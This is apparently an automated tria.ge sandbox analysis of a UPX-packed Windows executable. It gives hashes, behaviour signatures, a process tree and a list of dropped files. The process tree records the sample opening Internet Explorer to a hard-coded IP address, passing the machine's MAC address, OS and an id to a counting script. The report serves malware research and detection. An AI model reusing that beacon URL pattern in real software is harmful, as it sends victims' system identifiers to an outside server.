Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    120s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    28/01/2024, 08:48

General

  • Target

    7cadd84da68c4efb218b8064acf66b23.exe

  • Size

    143KB

  • MD5

    7cadd84da68c4efb218b8064acf66b23

  • SHA1

    8207b2eabfa0350ea252748c25ae078c56e89390

  • SHA256

    e6fd44cc5054b44944d2e3ea89182d4c1e4a17d23843f13c0ef5effdb42732e4

  • SHA512

    52966a42aed5ca13699aeb8847d9b3dde6dd2949259767ea0332808aca8cfb5a4f67ce131e2cb5e4f0579914c1e7a72ffb7dec4797e7e1663067e0c152f60afb

  • SSDEEP

    3072:MgN+Ns5uUdzh5vaBAzmeu2ZN3PRp6hIAsdxn6sM0TZMl9V:ZN+quUdzh5vaBAz5NZkhIAsdxn6sM0Tc

Score
7/10
upx

Malware Config

Signatures

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 40 IoCs
  • Modifies registry class 11 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7cadd84da68c4efb218b8064acf66b23.exe
    "C:\Users\Admin\AppData\Local\Temp\7cadd84da68c4efb218b8064acf66b23.exe"
    1⤵
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:880
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Windows\system32\..\..\Program Files\Internet Explorer\iexplore.exe" http://58.218.198.119:8080/count.asp?mac=6e-1d-43-63-4c-d3&os=Microsoft Windows XP&flag=1504aff1682aafa64c5fb193b4919229&user=7cadd84da68c4efb218b8064acf66b23
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1984
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1984 CREDAT:275457 /prefetch:2
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:2760

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC

    Filesize

    914B

    MD5

    e4a68ac854ac5242460afd72481b2a44

    SHA1

    df3c24f9bfd666761b268073fe06d1cc8d4f82a4

    SHA256

    cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f

    SHA512

    5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

    Filesize

    65KB

    MD5

    ac05d27423a85adc1622c714f2cb6184

    SHA1

    b0fe2b1abddb97837ea0195be70ab2ff14d43198

    SHA256

    c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

    SHA512

    6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    1KB

    MD5

    a266bb7dcc38a562631361bbf61dd11b

    SHA1

    3b1efd3a66ea28b16697394703a72ca340a05bd5

    SHA256

    df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

    SHA512

    0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC

    Filesize

    252B

    MD5

    b173237eec39a97f4fcab6d81320fd70

    SHA1

    c17ce9fe73de8f6711f1efd4b08a7a11c7a43117

    SHA256

    e0c84c5b81cf11ab41e25c975d4711411503533eebe37ced27a810c4c0af727c

    SHA512

    c8eae2b80eb702cbdac71ffa330fb1fce0e5fd4ee8c70bcf6c1f8b2a03f68c8ce8c5119ca078c1dffc6f727de6f1162e3722eb4fc77d3f911383efa8b5fadf7b

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    17f70e21ff49ad1c79e47decbe0cf4ec

    SHA1

    c2cbed09d986dd347b9927f4143792c82a183588

    SHA256

    f71cf35b1e62c9570f4a4d2866e866aa962bda83edf84b458aee8ec6b9ceb220

    SHA512

    401a41830639edfc04293200c34b1713dcd3e1f7822503bca6d468eb844da1c1e7bbf3fdc9dd1eec948662c4220c0e17c66343ae6acf7f6a3fdbfa1d4562a268

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    f95f0913e26a052834541cab97e42ba6

    SHA1

    4fdeefb59dd8cb3f28a8e065997cf0b4f981e0ab

    SHA256

    d680962b32c76e9cbc0abd902336db9143267df1193a251c2ea8478945f023b3

    SHA512

    75567f6dcc8cc8ce9583a32f17ae72f93530909df779f9a92a068448072d1ad41191e5ee19e112632512de11a484ede5e1f5ab05fd409873e1220d840c61cd57

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    f8a9407be10f38b46c018cc88e459bd3

    SHA1

    1c9ccb5f900038d402e20339aa67f1771792c85c

    SHA256

    1c711c3ebb200a354d8307f6bbd13a7e9100a40da899f7cb252a6ec5580a6016

    SHA512

    d1f53b6b954b42430970ed41f4522c6c152ca0030e4bbb2d4a1c055da1b2bb8dce8b6d22e07e0f2bec0c11a9ca33bfb41429f838fe66fe8f6b07408437ff82b3

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    f7ea348dd10db7614fa01db6ead7420e

    SHA1

    e13f260ce23c426bf9ce16e9849cfb4841007c13

    SHA256

    cf7abba9a1a0ed7005395e3f0071eae42f798023b717f187a2e5cfb42fbfbc3e

    SHA512

    f95c36d263b28a133ef6f572622f48918623c3af12d95f445a64387563896330f70e3e5aa442e72ae0064d197bacf9a317cde55cf87d39a74057c0f48bd903c9

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    defa43839074f2fd236a727c3f5258d1

    SHA1

    aac2214b696650396d192753d0e0aa3c71a420b1

    SHA256

    cc211819d15321bbd5734bc70e0bd5668744bdd62ea2c67ce0939f06ba61bd8e

    SHA512

    1709b0a938d003e796b1ec6389b78382a31cf4136f1aee9466e27457ba987adc24fddf997af7c28776f54a7e369bbef6abdb93a684f3089f5fce9b268c349ba7

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    d346fc9223e4863f56d96ade21120aac

    SHA1

    349ab1f1c63b7be502ddad6a583d78c7cef7a263

    SHA256

    d54c7a805f57d9b78294f47ec90a4d1cd41a91faa887e6bffdfb83cafbcc2fa1

    SHA512

    d53275d9f6f0508890dcb84251c5f0fd6d633a17b4df5f0d01ba65a465dd204a24c73446dc3ff12ea06174fb6ff27cd094aaa405fa6d02ea821a35ff639fb82d

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    bb8d0eb148df59830fc1f371f629faa2

    SHA1

    8a99abcdd6ca030e2df8e1b0507beda72fe2c757

    SHA256

    24a118fe749274b39aea516f3aa0989da955feffd19a8009c2419cb021bc99ef

    SHA512

    2ecb5585e319cfa068eab92e5592de6019a5dff5f8fe5eaccbaf94101456e821d7a8faff96a71c63b29a1802b15f16e22566d542ccf7b9945ae10536fe2e5c69

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    a13cceaa0eceff310b722fd295bb32ee

    SHA1

    1559b7cff123afae9ace0b31afac9d0e72c28268

    SHA256

    2fd2c1efbdcd76942fb5747ad990248912d21408e888dc290f1f4c7a187c99c0

    SHA512

    c816629329d04b67ed7f032c52056bed93a65e75697a7a5f8796415c0cad42067a73525970ca3d5bdaaa230532fe3e97dd920bec2f30f0c3ae0720723acc7db1

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    15474f4abd1113bacf1d0a73e54a3640

    SHA1

    388faa5c5bac0ea32866cf3d51fd5a2e85b20e05

    SHA256

    00ebde22496d2a2ca5b3571d1b65cf100557b808e79a497b90af04a83e6e8e0b

    SHA512

    b259d67f2db3fe085d9bfa17489af88b473ae7b7c25570b3c5d84ae4c8f1347c054eb69e001c5b7a6b71a8c57fd1ed857d182e401da4e87e77a41e7c4a2f3b53

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    e83e3e0462371f23cb632903666a26aa

    SHA1

    b39ae9c6672db3c854cff468e32fb02de19b3db2

    SHA256

    abf8ffe2a86f4a3c14726731baa907700585475c80a6a8ac57517f09855d60d0

    SHA512

    429982d6cf45d44c6e3a7d4af44fcc47edd6cc19d36f9ae0e8514e53b54ffd5299bbc60796d34055ed21a038e45be37007988775bdfd8bdfec65477de158c9c3

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    4990eb36fd7dfd0a896b794bd8d77026

    SHA1

    28da4d47df0274dfc00929acf8b157a9d4a4ab2a

    SHA256

    a278888192b0f971b059ad525f4131acbb28c5d9adfe96a05deff0368f1287f5

    SHA512

    8145d4924a90668450425e2650745ae871fca11a52486e188a2f728859af3dbad573b54ceeb12f273a7217ae8fec9ebd9311e8c28ebe52c7cedd3c0b47dd6e6e

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    1a51759106a01e166887b6566cd48c6d

    SHA1

    dd08d2a61404a249fb88b5215be4beb80c6987de

    SHA256

    f856bbc961bb25c32b9ba1e69322bb45c5596a8d2339d964a2ab244689a1b323

    SHA512

    00a95b1a5b755c19ec8ed39eaab41346cee820c37e3ed29d32b60cbac72ba23dac2599b6d1ef703ed045f7fb08f975bc200bc92a7ca83b281b5a5f5727e8df37

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    85290b7306752648e620f2669cdfbefe

    SHA1

    d0dd700a5f535be43104877c851bb2c6593ec570

    SHA256

    b74d09f026e357f581d2fe77144ec8bc098185add7235e62bdbd574acd0e389e

    SHA512

    e3cd68692a0c13e22bcd9f5e384dd1275c6151694f729b27d9edf53eae17862e6c3ca1f41692940a230db0a50fb8c9005e944a4b378a1188b4316d90ce93757b

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    a2f21d07aa63dba2ac524f55a312d3b3

    SHA1

    aabc5404caff00fad3c64ed29587ce2a2f98f235

    SHA256

    6b4816a3c854dc8c744f9ff2e9107afd73b7ec8f513d03fc97ab9063b5f35fdc

    SHA512

    7fdcf857b2e4274d44eaee070385da3646c0657fea36bc1193bc706725c23cd0fc3b6f56dacfa99be6d73f5bf7ad26f95610d06f9057199477d0d9b4a200abf6

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    caf8094f5c74cbe1421cf607f640247a

    SHA1

    122525428057f47123df4b03f749c008bdaa774a

    SHA256

    c30d84d274173dfc54eb5476a28e851d198119109dab4150986d95cdc7465521

    SHA512

    e8f286e0ca7d36ce33a9beb82f14d33f30e3286d2619aff0d82575a664a594f35c24c490e0e23657ea5b0d693bf9ee08f40154f16911538918e72b263b13ec64

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    871f352e26f348c449d5e7978ba35ee5

    SHA1

    09fc16efe7ac78a68bc705b35472a4565a88be2a

    SHA256

    4cac82c39d36a4182cdfbbcbe46fd4aa2fd61a41674517cfa553adf5f94ab2c2

    SHA512

    47e015fc7857faf2c4bc5bc540eacf4b1f2d3ec6331647f4eb35adc3aa9a55063565c8a80d2648a3592e28c3a30003ccc5e8706b5e0f8e573655fadf3e5b5827

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    2f438bfcc5d958b8833c2cd9a3ca2273

    SHA1

    50ba5fedc4354359a092e391971d41f319433614

    SHA256

    74fb82086da6ae105213c903df3a3f1e42f90c4f07b84494df180d1c0faaed83

    SHA512

    4575f151126586c8e9335d000bba096aa35a937e41b0dc6c90d2a490da75b706194c0a3414f23bb837a145610e77e530b65f9b2e72236a184d61f2d7b12d1d16

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    db4626bb52a25ea9b8d8580cdbc9a8d8

    SHA1

    7b41a7ee1c24088df3eaf2d650c8a3096e95a7c6

    SHA256

    f8967fff715d93b1cd2bf160409001f3f22b9e6b1b5cc4e6d4964b6c167f7896

    SHA512

    a1745061536e57775ccb22e42884bff7ba8b12362fa4cc7bb6aabc18f9f5c08c0769ac1b212ce973ea915039ff10b19e4996a8cc8a2e61f08c8dd9d1e4f2cae2

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    344B

    MD5

    e1d8699815ff497ca5345a2c107b0191

    SHA1

    f9712893b2795df65aa4d59151d2eb9b41680c83

    SHA256

    2179d93e1f1d9c424914aa055a9751554c28b6567c4a8e350130cde429f5c653

    SHA512

    ce8034a13aa7a78ecbd4df60386d6e9eacbbb8877952ab9fed0d06ac6a4a81440ef04fd5712f6ba6c94a6a4bf7de43a2d5e8917586b1bfbae9492dfbd67d71e3

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    242B

    MD5

    119b49fff39ad89d6d78d853ecb25691

    SHA1

    945dbb4c15bbbefd01c3eb7dcbde4f91eadf9ecb

    SHA256

    660867a8003e0a893c7125140c3fe4437fccd79f1bf4466c8464911478833206

    SHA512

    a2f7032484e2cf43fed8be758f15701a3d44cddbde5f273298bd5104090c0a95fffa1278f2f2b6d64f4b34ace65f27a325afe8110ac0d71c5bc0e72b94b76edd

  • C:\Users\Admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico

    Filesize

    4KB

    MD5

    da597791be3b6e732f0bc8b20e38ee62

    SHA1

    1125c45d285c360542027d7554a5c442288974de

    SHA256

    5b2c34b3c4e8dd898b664dba6c3786e2ff9869eff55d673aa48361f11325ed07

    SHA512

    d8dc8358727590a1ed74dc70356aedc0499552c2dc0cd4f7a01853dd85ceb3aead5fbdc7c75d7da36db6af2448ce5abdff64cebdca3533ecad953c061a9b338e

  • C:\Users\Admin\AppData\Local\Temp\TarC6FD.tmp

    Filesize

    171KB

    MD5

    9c0c641c06238516f27941aa1166d427

    SHA1

    64cd549fb8cf014fcd9312aa7a5b023847b6c977

    SHA256

    4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

    SHA512

    936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.fon

    Filesize

    3KB

    MD5

    ca0294359fd9a7a27616a18c22dbd68a

    SHA1

    12aa0ef1265d0bfe5b3dd60f8aa8b71708f34104

    SHA256

    af5fc76f77e480486e0592397a6a3d22fa750eef1d20e4d5fe54937879096286

    SHA512

    8b5e93b96e3ef5da76db8f0b3bc841151fe868e71ba37cb17a3b4aea7945118983b18988e53d8b498c9a539ad982e1e9b41b5c4117d223246bc44119a8475621

  • C:\b.txt

    Filesize

    259B

    MD5

    9eb23c46d269c9debb4345e011e07a4c

    SHA1

    1af312d49b19680ba9776e003aced6602937900f

    SHA256

    f6711066243605d4efa6c1015a4dab4d4e57063a2b84513b665d795bd572c047

    SHA512

    d39d84d0b2b0d9ec520aecbb5dcf26b5b7809048bc895c20c503ac370127f4d56af50ff525843b3bc31f1eef22c6bdae9c672a81b8591f9d1350e343c881ef23

  • C:\b.txt

    Filesize

    271B

    MD5

    e5c8bb1ba6bc6de3d4ddac2f0bf47e7d

    SHA1

    70900371edfcdcb01b063e731e56d129369c64a8

    SHA256

    334812944df9a9938b114b7ec02177c4bdb6cbb8dd362ea43d119a37feb2062f

    SHA512

    c3635728cb6e5327276220b57bab8c6068b50130250f8151c06134f17e143067feb04e2f47cecf6fca0d6c046325012492c67d3837ea3e57a516e0b7c4408769

  • C:\b.txt

    Filesize

    264B

    MD5

    878778e6ae273c74668c90ff5fc48431

    SHA1

    b85a0b7416e86c8f485be4b6c349f0ab426bc5b3

    SHA256

    119d16ac01b447b28a850c44efe9ef52f38ca8b1f9702404451fa7bfa85264c2

    SHA512

    936ae49cac20a0ec4ad87a06f4d55f629341c8713768f52ccc111a95272c7feae5614d897d2df6077b203d1d5c150b6375d1fefc9d8383daf104996501269c09

  • C:\b.txt

    Filesize

    264B

    MD5

    ee765b1ebea1c25ae9e7f3ce73841c46

    SHA1

    9a729deb3d211e8bbb0198bb5e7f436056293331

    SHA256

    2013251dc3e77710d417cc8c51fdcaa3d9e4ec7c019c55020994130639f87f65

    SHA512

    5cf9a564be444151dcc8cf960aee916bbd7c21874e98a0a594d2e40e5861bdbf2cac37d8da7c30b564529600c948feefd8eda45a0bd5e55e5d5b75fe9ac84434

  • memory/880-0-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/880-75-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB